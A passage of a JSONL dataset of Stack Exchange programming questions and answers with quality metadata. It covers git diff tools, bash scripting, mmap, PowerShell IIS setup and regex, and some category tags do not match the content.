"tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.050773"}
{"id": "hf_39f417789174", "question": "<p>I'm planning to write an operating system and I don't know very much about operating systems. Are there any good resources or books to read in order for me to learn? What are your recommendations?</p>\n", "question_body": "", "answer": "Operating Systems Implementation Prentice Software\nThis book is written by Tanenbaum, the main guy behind Minix, which is what Linux was based on. It provides good overviews for basic OS concepts like memory management, file systems, processes, etc. The concepts in this book book are intimately tied to examples of the Minix OS, which is a good thing.\nI think you should start by something like that.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.218817"}
{"id": "hf_73ba5baab7f0", "question": "<p>I've tried variations of this, but had no luck other than the ability to start a cygwin window. (wrapped on <strong>;</strong> for clarity)</p>\n\n<pre><code>Filename: \"c:\\cygwin\\bin\\bash.exe\";\n  Parameters: \"-c c:/scripts/step1.sh paramX\";\n  Flags: shellexec waituntilterminated;\n  StatusMsg: \"Running the script...\"\n</code></pre>\n\n<p>(this is for an internal install, thus cywin is installed, and all paths, scripts are known)</p>\n", "question_body": "", "answer": "I think you're going to need to make the whole thing part of a\n```\ncmd.exe\n```\ninvocation, and then I'm not sure it will do exactly what you want/need.\nI'm looking at Inno-Setup 5 documentation (may be out-of-date), but I don't think you need the\n```\nshellexec\n```\nor\n```\nwaituntilterminated\n```\nflags.\nTry something like\n```\n```\nFilename: \"cmd.exe\"; Parameters: \"/c c:\\cygwin\\bin\\bash -c 'c:/scripts/step1.sh paramx'\"\n```\n```\nUntested, caveat emptor.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.361514"}
{"id": "hf_24a9a38a0e01", "question": "<p>Is there some way I can define <code>String[int]</code> to avoid using <code>String.CharAt(int)</code>?</p>\n", "question_body": "", "answer": "No, there isn't a way to do this.\nThis is a common question from developers who are coming to JavaScript from another language, where\noperators can be defined or overridden\nfor a certain type.\nIn C++, it's not entirely out of the question to overload\n```\noperator*\n```\non\n```\nMyType\n```\n, ending up with a unique asterisk operator for operations involving objects of type\n```\nMyType\n```\n.  The readability of this practice might still be called into question, but the language affords for it, nevertheless.\nIn JavaScript, this is simply not possible.  You will not be able to define a method which allows you to index chars from a\n```\nString\n```\nusing brackets.\n@Lee Kowalkowski\nbrings up a good point, namely that it is, in a way,\npossible\nto access characters using the brackets, because the brackets can be used to access members of a JavaScript\n```\nArray\n```\n.  This would involve creating a new\n```\nArray\n```\n, using each of the characters of the string as its members, and then accessing the\n```\nArray\n```\n.\nThis is probably a confusing approach.  Some implementations of JavaScript will provide access to a string via the brackets and some will not, so it's not standard practice.  The object may be confused for a string, and as JavaScript is a loosely typed language, there is already a risk of misrepresenting a type.  Defining an array solely for the purposes of using a different syntax from what the language already affords is only gong to promote this type of confusion.  This gives rise to\n@Andrew Hedges\n's question: \"Why fight the language?\"..\nThere are\nuseful patterns in JavaScript\nfor\nlegitimate function overloading\nand\npolymorphic inheritance\n.  This isn't an example of either.\nAll semantics aside, the operators still haven't been overridden.\nSide note:\nDevelopers who are accustomed to the conventions of strong type checking and classical inheritance are sometimes confused by JavaScript's C-family syntax.  Under the hood, it is working in an unfamiliar way.  It's best to write JavaScript in clean and unambiguous ways, in order to prevent confusion.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.553207"}
{"id": "hf_b3ae169925fe", "question": "<p>When I type <code>git diff</code>, I want to view the output with my visual diff tool of choice (SourceGear \"diffmerge\" on Windows). How do I configure git to do this?</p>\n", "question_body": "", "answer": "Since Git1.6.3, you can use the\ngit difftool script\n: see\nmy answer below\n.\nMay be this\narticle\nwill help you. Here are the best parts:\nThere are two different ways to specify an external diff tool.\nThe first is the method you used, by setting the GIT_EXTERNAL_DIFF variable. However, the variable is supposed to point to the full path of the executable. Moreover, the executable specified by GIT_EXTERNAL_DIFF will be called with a fixed set of 7 arguments:\n```\n```\npath old-file old-hex old-mode new-file new-hex new-mode\n```\n```\nAs most diff tools will require a different order (and only some) of the arguments, you will most likely have to specify a wrapper script instead, which in turn calls the real diff tool.\nThe second method, which I prefer, is to\nconfigure the external diff tool via \"git\nconfig\"\n. Here is what I did:\n1) Create a wrapper script \"git-diff-wrapper.sh\" which contains something like\n```\n```\n-->8-(snip)--\n#!/bin/sh\n\n# diff is called by git with 7 parameters:\n# path old-file old-hex old-mode new-file new-hex new-mode\n\n\"<path_to_diff_executable>\" \"$2\" \"$5\" | cat\n--8<-(snap)--\n```\n```\nAs you can see, only the second (\"old-file\") and fifth (\"new-file\") arguments will be\npassed to the diff tool.\n2) Type\n```\n```\n$ git config --global diff.external <path_to_wrapper_script>\n```\n```\nat the command prompt, replacing  with the path to \"git-diff-wrapper.sh\", so your ~/.gitconfig contains\n```\n```\n-->8-(snip)--\n[diff]\n    external = <path_to_wrapper_script>\n--8<-(snap)--\n```\n```\nBe sure to use the correct syntax to specify the paths to the wrapper script and diff\ntool, i.e. use forward slashed instead of backslashes. In my case, I have\n```\n```\n[diff]\n    external = \\\"c:/Documents and Settings/sschuber/git-diff-wrapper.sh\\\"\n```\n```\nin .gitconfig and\n```\n```\n\"d:/Program Files/Beyond Compare 3/BCompare.exe\" \"$2\" \"$5\" | cat\n```\n```\nin the wrapper script. Mind the trailing \"cat\"!\n(I suppose the '\n```\n| cat\n```\n' is needed only for some programs which may not return a proper or consistent return status. You might want to try without the trailing cat if your diff tool has explicit return status)\n(\nDiomidis Spinellis\nadds\nin the comments\n:\nThe\n```\ncat\n```\ncommand is required, because\n```\ndiff(1)\n```\n, by default exits with an error code if the files differ.\nGit expects the external diff program to exit with an error code only if an actual error occurred, e.g. if it run out of memory.\nBy piping the output of\n```\ngit\n```\nto\n```\ncat\n```\nthe non-zero error code is masked.\nMore efficiently, the program could just run\n```\nexit\n```\nwith and argument of 0.)\nThat (the article quoted above) is the theory for external tool\ndefined through config file\n(not through environment variable).\nIn practice (still for config file definition of external tool), you can refer to:\nHow do I setup DiffMerge with msysgit / gitk?\nwhich illustrates the concrete settings of DiffMerge and WinMerge for MsysGit and gitk\nHow can I set up an editor to work with Git on Windows?\nfor the definition of Notepad++ as an external editor.", "tags": ["linux", "git"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.679665"}
{"id": "hf_e6d908496269", "question": "<p>I'm trying to write a small script to change the current directory to my project directory:</p>\n\n<pre><code>#!/bin/bash\ncd /home/tree/projects/java\n</code></pre>\n\n<p>I saved this file as proj, added execute permission with <code>chmod</code>, and copied it to <code>/usr/bin</code>. When I call it by:\n<code>proj</code>, it does nothing. What am I doing wrong?</p>\n", "question_body": "", "answer": "Shell scripts are run inside a subshell, and each subshell has its own concept of what the current directory is. The\n```\ncd\n```\nsucceeds, but as soon as the subshell exits, you're back in the interactive shell and nothing ever changed there.\nOne way to get around this is to use an alias instead:\n```\n```\nalias proj=\"cd /home/tree/projects/java\"\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.815862"}
{"id": "hf_e9b157e59a0a", "question": "<p>Does anyone have a library or JavaScript snippet to validate the check digit of credit cards before the user hits Submit?</p>\n", "question_body": "", "answer": "The\njQuery Validation Plugin\nhas a\nmethod\nfor validating credit card numbers.\nThere are other specific scripts:\nJavaScript Credit Card Validation Function\nCredit Card Validation\nMost of them use the\nLuhn algorithm\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:51.945509"}
{"id": "hf_4043685b924c", "question": "<p>What's the difference between \\n and \\r (I know it has something to do with OS), and what's the best way to echo a line break that will work cross platform?</p>\n\n<p><strong>EDIT:</strong> In response to Jarod, I'll be using ths to echo a line break in a .txt log file, though I'm sure I'll be using it in the future for things such as echoing HTML makup onto a page.</p>\n", "question_body": "", "answer": "```\n\\n\n```\nis a Linux/Unix line break.\n```\n\\r\n```\nis a classic Mac OS (non-OS X) line break. Mac OS X uses the above unix\n```\n\\n\n```\n.\n```\n\\r\\n\n```\nis a Windows line break.\nI usually just use\n```\n\\n\n```\non our Linux systems and most Windows apps deal with it ok anyway.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:52.076491"}
{"id": "hf_4decf88f78ab", "question": "<p>I'm looking for someone to explain how to drag and drop in javascript, I want a horizontal line with some customizable images in it.</p>\n\n<p>I've had a look at the online tutorials for these but find them very hard to use.</p>\n", "question_body": "", "answer": "I would recommend that you look into one of the Javascript Frameworks out there. We use\nprototype\nwith scriptaculous.\nYou can look at a demo for Drag and Drop in Scriptaculous\nhere\n. And you can run through a tutorial\nhere\n.\nOr look into any of the other frameworks such as JQuery or Dojo.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:52.203171"}
{"id": "hf_2ce510a93f06", "question": "<p>I have a complex command that I'd like to make a shell/bash script of.  I can write it in terms of <code>$1</code> easily:</p>\n\n<pre><code>foo $1 args -o $1.ext\n</code></pre>\n\n<p>I want to be able to pass multiple input names to the script. What's the right way to do it?  </p>\n\n<p>And, of course, I want to handle filenames with spaces in them.</p>\n", "question_body": "", "answer": "Use\n```\n\"$@\"\n```\nto represent all the arguments:\n```\n```\nfor var in \"$@\"\ndo\n    echo \"$var\"\ndone\n```\n```\nThis will iterate over each argument and print it out on a separate line.  $@ behaves like $* except that when quoted the arguments are broken up properly if there are spaces in them:\n```\n```\nsh test.sh 1 2 '3 4'\n1\n2\n3 4\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:52.329847"}
{"id": "hf_24a66d3603a4", "question": "<p>The symptom of the problem looks like \"[0m[27m[24m[J[34;1\" which on a terminal translates into the color blue.</p>\n\n<p>-A </p>\n", "question_body": "", "answer": "The following should work in your .bash_profile or .bashrc\n```\n```\ncase $TERM in\nxterm-color)\nexport PS1='\\[\\e]0;\\W\\007\\]\\[\\e[34;1m\\]\\W\\[\\e[0m\\]\\$ '\n;;\n*)\nexport PS1='\\W\\$ '\n;;\nesac\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:52.474009"}
{"id": "hf_80f93da4607e", "question": "<p>I am looking for suggestions on how to find the sizes (in bits) and range of floating point numbers in an architecture independent manner.  The code could be built on various platforms (AIX, Linux, HPUX, VMS, maybe Windoze) using different flags - so results should vary.  The sign, I've only seen as one bit, but how to measure the size of the exponent and mantissa?</p>\n", "question_body": "", "answer": "Have a look at the values defined in\n```\nfloat.h\n```\n. Those should give you the values you need.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:52.637220"}
{"id": "hf_5b9df44708ce", "question": "<p>POSIX environments provide at least two ways of accessing files.  There's the standard system calls <code>open()</code>, <code>read()</code>, <code>write()</code>, and friends, but there's also the option of using <code>mmap()</code> to map the file into virtual memory.</p>\n\n<p>When is it preferable to use one over the other?  What're their individual advantages that merit including two interfaces?</p>\n", "question_body": "", "answer": "```\nmmap\n```\nis great if you have multiple processes accessing data in a read only fashion from the same file, which is common in the kind of server systems I write.\n```\nmmap\n```\nallows all those processes to share the same physical memory pages, saving a lot of memory.\n```\nmmap\n```\nalso allows the operating system to optimize paging operations.  For example, consider two programs; program\n```\nA\n```\nwhich reads in a\n```\n1MB\n```\nfile into a buffer creating with\n```\nmalloc\n```\n, and program B which\n```\nmmaps\n```\nthe 1MB file into memory.  If the operating system has to swap part of\n```\nA\n```\n's memory out, it must write the contents of the buffer to swap before it can reuse the memory.  In\n```\nB\n```\n's case any unmodified\n```\nmmap\n```\n'd pages can be reused immediately because the OS knows how to restore them from the existing file they were\n```\nmmap\n```\n'd from.  (The OS can detect which pages are unmodified by initially marking writable\n```\nmmap\n```\n'd pages as read only and catching\nseg faults\n, similar to\nCopy on Write\nstrategy).\n```\nmmap\n```\nis also useful for\ninter process communication\n.  You can\n```\nmmap\n```\na file as read / write in the processes that need to communicate and then use synchronization primitives in the\n```\nmmap'd\n```\nregion (this is what the\n```\nMAP_HASSEMAPHORE\n```\nflag is for).\nOne place\n```\nmmap\n```\ncan be awkward is if you need to work with very large files on a 32 bit machine.  This is because\n```\nmmap\n```\nhas to find a contiguous block of addresses in your process's address space that is large enough to fit the entire range of the file being mapped.  This can become a problem if your address space becomes fragmented, where you might have 2 GB of address space free, but no individual range of it can fit a 1 GB file mapping.  In this case you may have to map the file in smaller chunks than you would like to make it fit.\nAnother potential awkwardness with\n```\nmmap\n```\nas a replacement for read / write is that you have to start your mapping on offsets of the page size.  If you just want to get some data at offset\n```\nX\n```\nyou will need to fixup that offset so it's compatible with\n```\nmmap\n```\n.\nAnd finally, read / write are the only way you\ncan\nwork with some types of files.\n```\nmmap\n```\ncan't be used on things like\npipes\nand\nttys\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:52.876517"}
{"id": "hf_6e1feb7de0c5", "question": "<p>How to calculate the length (in pixels) of a string in Java?</p>\n\n<p>Preferable without using Swing.</p>\n\n<p>EDIT:\nI would like to draw the string using the drawString() in Java2D \nand use the length for word wrapping.</p>\n", "question_body": "", "answer": "If you just want to use AWT, then use\n```\nGraphics.getFontMetrics\n```\n(optionally specifying the font, for a non-default one) to get a\n```\nFontMetrics\n```\nand then\n```\nFontMetrics.stringWidth\n```\nto find the width for the specified string.\nFor example, if you have a\n```\nGraphics\n```\nvariable called\n```\ng\n```\n, you'd use:\n```\n```\nint width = g.getFontMetrics().stringWidth(text);\n```\n```\nFor other toolkits, you'll need to give us more information - it's always going to be toolkit-dependent.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:53.091514"}
{"id": "hf_9ad19119e9e4", "question": "<p>I have a simple linux script:</p>\n\n<pre><code>#!/bin/sh\nfor i in `ls $1`\ndo\n       echo $i\ndone\n</code></pre>\n\n<p>In my temp folder are 4 file: a.a, a.aa, a.ab and a.ac</p>\n\n<p>When i call ./script temp/*.?? i get:</p>\n\n<pre><code>temp/a.aa\n</code></pre>\n\n<p>When i call ./script \"temp/*.??\" i get:</p>\n\n<pre><code>temp/a.aa\ntemp/a.ab\ntemp/a.ac\n</code></pre>\n\n<p>Why do the double quote change the result?</p>\n", "question_body": "", "answer": "Because without the quotes the shell is expanding your call to:\n```\n```\n./script temp/a.aa temp/a.ab temp/a.ac\n```\n```\nSo\n```\n$1\n```\nis\n```\ntemp/a.aa\n```\ninstead of\n```\ntemp/*.??\n```\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:53.249918"}
{"id": "hf_7c023b11ee31", "question": "<p>I'm using Emacs with <a href=\"http://mfgames.com/linux/csharp-mode\" rel=\"nofollow noreferrer\">C# Mode</a> and when I turn on the speedbar, no files show up by default.   I can choose \"show all files\" on the speedbar mode, but then every .cs file shows up with a '[?]' next to the name.   How do I properly configure speedbar so it shows up with .cs files by default?  How do I get the '[+]' next to each file so I can navigate inside the file?</p>\n", "question_body": "", "answer": "I used speedbar earlier and got really irritated. I now use\nECB\n.\nECB\nuses its own buffer for the tree and can optionally show the outline of the CS file in a separate buffer. They all fit in the same frame while Speedbar has its own frame.\nI have some\ncustom stuff\nsetup for ECB. You can see it here.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:53.514469"}
{"id": "hf_5b46a05d91cb", "question": "<p>Does Ruby have a stepwise debugger, similar to Perl's \"perl -d\"?</p>\n", "question_body": "", "answer": "The\nruby-debug\n(for ruby 1.8),\ndebugger\n(for ruby 1.9),\nbyebug\n(for ruby 2.0) and also the\ntrepanning\nseries all have an\n```\n-x\n```\nor\n```\n--trace\n```\noption. Inside the debuggers, the command\n```\nset linetrace\n```\nwill turn on or off line tracing. Here is\nthe manual for ruby-debug\nThe original answer has been revised because the link to the datanoise article, alas, no longer works. Also added are the successors to ruby-debug", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:53.682008"}
{"id": "hf_6210d2997a54", "question": "<p>Compiling a program on Linux that calls POSIX timer functions (eg: timer_create, timer_settime) returns errors such as:</p>\n\n<pre>\nIn function `foo':\ntimer.c:(.text+0xbb): undefined reference to `timer_create'\ntimer.c:(.text+0x187): undefined reference to `timer_settime'\ncollect2: ld returned 1 exit status\n</pre>\n\n<p>Which library do I need to link?</p>\n", "question_body": "", "answer": "This should be documented in the man page. Given it isn't add\n```\n-lrt\n```\n.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:53.830506"}
{"id": "hf_b5cd11031467", "question": "<p>We have SQL Server 2005 running on Win2003/64, and we push it hard.  We generate real time reports on several tables with a couple million records using asp.net 3.5, and they will periodically time out.</p>\n\n<p>I'd like to increase our memory from 8GB to 16GB or even 32GB to see how that helps, but I need to justify this to the pencil pushers before they will spend the money.  Can someone point me to some resources that will help me make my case and will get me some hard numbers to use?</p>\n", "question_body": "", "answer": "First find out what is really the problem and that the server is properly tuned for the queries you are running. It's very sad to waste the money on RAM to find out you are I/O bound.\nAfter you gather data about the cause of the timeouts you should be able to convince the pencil wielders easily.\nSome tuning/monitoring links:\nhttp://www.brentozar.com/archive/2008/03/sql-server-2005-setup-checklist-part-1-before-the-install/\n(check both articles)\nhttp://www.sql-server-performance.com/\nAbout I/O specifically:\nhttp://www.microsoft.com/technet/prodtechnol/sql/bestpractice/pdpliobp.mspx\nhttp://searchsqlserver.techtarget.com/generic/0,295582,sid87_gci1307990,00.html\nhttp://www.novicksoftware.com/Articles/sql-server-io-statistics.htm", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:53.967781"}
{"id": "hf_1c9a44886ea0", "question": "<p>From a programmer stuck in the web world...</p>\n\n<p>What are the most common desktop development \"frameworks\" currently being used for desktop application development?</p>\n\n<ol>\n<li><p>Is it realistic to write desktop software for both Windows and OS X?</p></li>\n<li><p>Is it realistic to use the same base code to write the business/data layers for an application that will have a partial web UI as well as a desktop UI?</p></li>\n</ol>\n", "question_body": "", "answer": "Yes. You could use Java, Python/ Ruby etc with a cross platform UI framework, AIR etc etc.\nYes it is realistic. Build it on a client/server model and most of the code will fit either the desktop or web UI model.\nIf you went down the .NET root, you could use Silverlight for the web app, .NET server code for the backend and even Mono to enable you to develop for OS X.\nIf you took the Java route, Java runs within the browser, there is JavaFX coming soon that is a small flash-like version for browsers. It runs on just about all OS's and can handle the backend just fine.\nFlex/ AIR offers an excellent way of developing desktop and web-based apps for OS X, Windows and Linux, but you'll need another language for the back-end. .NET, Java, PHP etc all work fine as the backend though.\nEdit\nAt MrJeepster's request, here are details on interfacing an AIR frontend and .NET backend:\nThere are two ways you can interface AIR to a .NET backend: the DIY way and the remoting way.\nThe DIY way would involve defining your own (probably XML) data formats and using the low level HTTP request objects to communicate with a HTTP server, or even lower level socket classes to communicate with some other server.\nThe remoting way is all together easier as nice people have written a selection of free remoting packages:\nhttp://www.adobe.com/devnet/flashremoting/articles/intro_flremoting_net.html\nhttp://www.themidnightcoders.com/flashorb/gettingStarted.htm\nhttp://www.fluorinefx.com/\nRemoting involves sharing objects between the client and server. So you create some object on the AIR client, get the remoting framework to serialise it, transfer it to the server and deserialise it into a .NET object. The server then processes it and sends it, or a new object, back again via the same route.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:54.130177"}
{"id": "hf_a4fa6574f463", "question": "<p>if i decide to use the 'publish' option for my ASP.NET website, instead of a Web Deployment Project, can i do custom msbuild things? Or do i need to stick with WDP's if i want to do custom msbuild stuff during compile/deployment.</p>\n", "question_body": "", "answer": "I think of the publish option as a part of the VS.NET toolset for developers to use to publish web sites on dev machines.  It isn't really built to be a real deployment.\nIf you need custom actions, a Web Deployment Project would be more suited to a real deployment that multiple people other than the developer run regularly and that you want created with each build.\nI would also look at three other options:\nPowerShell:\nA good way to\nscript\nagainst IIS, set up websites, etc.  You can even build cmdlets from OO code (like C#) that your script can call.  Many professional IT firms use it to deploy big web sites.\nMSDeploy:\nA new\ndeployment tool\nfor websites that can replicate a vroot over several servers.  Very good for having your golden image and then blasting it out to various places.\nC# application:\nIf you are a more\nadvanced developer\n, you can always write your own application that xcopies files (via Process) and uses WMI to configure IIS.  Harder, but you have complete control.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:54.300406"}
{"id": "hf_4758e6745bf7", "question": "<p>Is there a PHP class/library that would allow me to query an XHTML document with CSS selectors? I need to scrape some pages for data that is very easily accessible if I could somehow use CSS selectors (jQuery has spoiled me!). Any ideas?</p>\n", "question_body": "", "answer": "After Googling further (initial results weren't very helpful), it seems there is actually a Zend Framework library for this, along with some others:\nDOM-Query\nphpQuery\npQuery\nQueryPath\nSimple HTML DOM Parser\nUltimate Web Scraper Toolkit\nZend-Dom", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:54.444465"}
{"id": "hf_30cad850ffad", "question": "<p>How do I create an Application Pool on IIS 6.0 using a PowerShell script?</p>\n\n<p>This is what I have come up with so far ...</p>\n\n<pre><code>$appPool = [wmiclass] \"root\\MicrosoftIISv2:IIsApplicationPool\"\n</code></pre>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "It isn't the most obvious process, but here is what worked for me..\n```\n```\n$AppPoolSettings = [wmiclass]'root\\MicrosoftIISv2:IISApplicationPoolSetting'\n$NewPool = $AppPoolSettings.CreateInstance()\n$NewPool.Name = 'W3SVC/AppPools/MyAppPool'\n$Result = $NewPool.Put()\n```\n```\nYou might get an error with the call to Put(), but calling it a second (or third) time should make it work.  This is due to an issue with PowerShell V1 and WMI.", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:54.636503"}
{"id": "hf_481aad030eed", "question": "<p>I am writing an application using labview and need to use external code. I have read that using CINs are old fashioned and 'wrong' to use. Is this correct? Should I use shared dlls instead?</p>\n\n<p>What are the advantages/disadvantages of both methods?</p>\n", "question_body": "", "answer": "I don't have personal experience of writing external code to be called by LabVIEW, but from the\nNI knowledge base\n: \"When given the choice, a DLL is the choice to make.\"\nThe advantages they list include:\nMany processes can share a single copy of the DLL in memory\nMany applications can share a single copy of the DLL on disk\nModifying the functions in a DLL does not require a recompile of the calling application\nOnly certain (obsolete?) development environments are supported for creating CINs.\nPotential disadvantages of DLLs are:\nThe first two items on the list above ;-)\nYou need to remember to include the DLL as a support file when building an application from LabVIEW\nCIN code can be platform independent, while DLL/shared libraries may need rewriting for each platform.\nI'm pretty sure that every time I have seen this discussion in several years of following LabVIEW lists and forums the advice has been the same: CINs are obsolete, use DLLs - just be aware of the potential issues they can cause.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:54.900782"}
{"id": "hf_0d65040cb975", "question": "<p>Quick add on requirement in our project.  A field in our DB to hold a phone number is set to only allow 10 characters.  So, if I get passed \"(913)-444-5555\" or anything else, is there a quick way to run a string through some kind of special replace function that I can pass it a set of characters to allow?</p>\n\n<p>Regex?</p>\n", "question_body": "", "answer": "Definitely regex:\n```\n```\nstring CleanPhone(string phone)\n{\n    Regex digitsOnly = new Regex(@\"[^\\d]\");   \n    return digitsOnly.Replace(phone, \"\");\n}\n```\n```\nor within a class to avoid re-creating the regex all the time:\n```\n```\nprivate static Regex digitsOnly = new Regex(@\"[^\\d]\");   \n\npublic static string CleanPhone(string phone)\n{\n    return digitsOnly.Replace(phone, \"\");\n}\n```\n```\nDepending on your real-world inputs, you may want some additional logic there to do things like strip out leading 1's (for long distance) or anything trailing an x or X (for extensions).", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:55.036275"}
{"id": "hf_19f8dcb8290f", "question": "<p>what's the quickest way to extract a 5 digit number from a string in c#. </p>\n\n<p>I've got </p>\n\n<pre><code>string.Join(null, System.Text.RegularExpressions.Regex.Split(expression, \"[^\\\\d]\"));\n</code></pre>\n\n<p>Any others?</p>\n", "question_body": "", "answer": "Do you mean convert a string to a number?  Or find the first 5 digit string and then make it a number?  Either way, you'll probably be using\ndecimal.Parse\nor int.Parse.\nI'm of the opinion that Regular Expressions are the wrong approach.  A more efficient approach would simply to walk through the string looking for a digit, and then advancing 4 characters and seeing if they are all digits.  If they are, you've got your substring.  It's not as robust, no, but it doesn't have the overhead either.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:55.167051"}
{"id": "hf_59661af7b2ee", "question": "<p>Vista's Resource Monitor includes a reading for \"Hard Faults/sec\". Is there an equivalent performance counter I can use in C# to get this reading? I've tried the \"Page Faults/sec\" under the memory category, but that appears to be something different.</p>\n", "question_body": "", "answer": "A hard fault is the same as a page fault.\nSource: \"\nWindows Vista Performance and Reliability Monitoring Step-by-Step Guide\n\".\nSee section\nResource View details\n, Label Memory (the 4th table):\nA hard fault (also known as a page fault) occurs when the page of the referenced address is no longer in physical memory and has been swapped out or is available from a backing file on disk.", "tags": ["monitoring"], "source": "huggingface", "category": "monitoring", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:55.299728"}
